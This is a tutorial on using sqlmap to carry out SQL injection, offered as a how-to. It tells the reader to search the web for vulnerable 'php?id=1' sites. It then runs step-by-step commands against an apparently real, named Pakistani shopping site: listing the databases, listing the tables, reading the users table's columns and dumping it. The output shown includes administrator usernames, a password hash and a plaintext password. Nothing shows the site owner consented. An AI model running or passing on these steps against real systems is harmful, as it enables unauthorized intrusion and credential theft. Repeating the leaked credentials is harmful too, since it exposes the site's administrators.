

SQLMAP

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

How to download?

You can download the latest zipball or tarball.

Preferably, you can download sqlmap by cloning the Git repository

Git clone -depth 1 <https://github.com/sqlmapproject/sqlmap.git> sqlmap-dev

Supported OS:

Linux

Windows

MAC

How to perform Sql injection attack using sql map

Step 1: Find Vulnerable Website

Go to browser and search for `php?id=1`. If you find a site that got in their link put an after

Step 1:

Command- *sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -dbs -batch*

```
root@kali:~# sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 --dbs --batch
```

```

      H
     [ ]
    [ ] [ ] {1.2.7#stable}
   [ ] [ ] [ ]
  [ ] [ ] [ ]
 [ ] [ ] [ ]
[ ] [ ] [ ]
  V
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume
no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:47:59

[11:47:59] [INFO] testing connection to the target URL
[11:48:01] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[11:48:01] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] N
[11:48:01] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
[11:48:01] [INFO] testing if the target URL content is stable
[11:48:01] [INFO] target URL content is stable
[11:48:01] [INFO] testing if GET parameter 'ID' is dynamic
sqlmap got a 302 redirect to 'http://www.atrium.com.pk:80/404.php'. Do you want to follow? [Y/n] Y
[11:48:03] [INFO] confirming that GET parameter 'ID' is dynamic
[11:48:04] [INFO] GET parameter 'ID' is dynamic
[11:48:05] [INFO] heuristic (basic) test shows that GET parameter 'ID' might be injectable (possible DB
MSI: 'MYSQL')
```

Step 2:

Command- ***sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -batch***

```
[12:51:55] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.6.37
back-end DBMS: MySQL >= 5.0
[12:51:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.atrium.com.pk'
```

Step 3:

Command- ***sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -table -batch***

```
root@kali:~# sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 --table --batch
```

```
{1.2.7#stable}
http://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers assu-
me no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:53:54

```
[11:53:55] [INFO] resuming back-end DBMS 'mysql'  
[11:53:55] [INFO] testing connection to the target URL  
[11:53:55] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS /IDS
```

Database: db738736812

[51 tables]

```

+-----+
| about_website |
| address        |
| banners        |
| bestsellers    |
| brands         |
| categories     |
| daily_deal     |
| discount_coupons |
| emails         |
| entertainments |
| events         |
| feature_products |
| features       |
| footer_categories |
| footer_links   |
| homeboxes      |
| infopages      |
| logos          |
| mainbanners    |
| menu           |
| middle_message |
| multimedia     |
| newsletter_subscribers |
| newsletters    |
+-----+

```

Step 4:

Command- ***sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T users --columns --batch***

```
root@kali:~# sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T users --columns --batch
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:14:14
[12:14:14] [INFO] resuming back-end DBMS 'mysql'
[12:14:15] [INFO] testing connection to the target URL
[12:14:15] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS
```

```
Database: db738736812
Table: users
[13 columns]
+-----+-----+
| Column          | Type          |
+-----+-----+
| Admin           | tinyint(1)    |
| DateAdded       | datetime      |
| DateModified    | datetime      |
| EmailAddress     | text          |
| FirstName       | text          |
| ID              | int(11)       |
| LastName        | text          |
| Password        | text          |
| PerformedBy     | int(11)       |
| Role            | int(11)       |
| Status          | tinyint(1)    |
| UserGroup       | tinyint(1)    |
| UserName        | text          |
+-----+-----+
```

Step 5:

Command- ***sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T users --dump --batch***

```

root@kali:~# sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T users --dump --batch
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume
no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:16:11

[12:16:11] [INFO] resuming back-end DBMS 'mysql'
[12:16:11] [INFO] testing connection to the target URL
[12:16:12] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
/IDS

```

```

Database: db738736812
Table: users
[2 entries]

```

ID	Role	Admin	Status	UserName	LastName	Password	DateAdded
First Name	UserGroup	PerformedBy	EmailAddress	DateModified			
8	1	1	1	Atrium786	Atrium	c91ed8edc09b94e28ba6e827005eabb8	2015-09-12 16:40:47
9	1	1	1	Atrium1786	Atrium1	demo@123	2015-09-12 16:40:47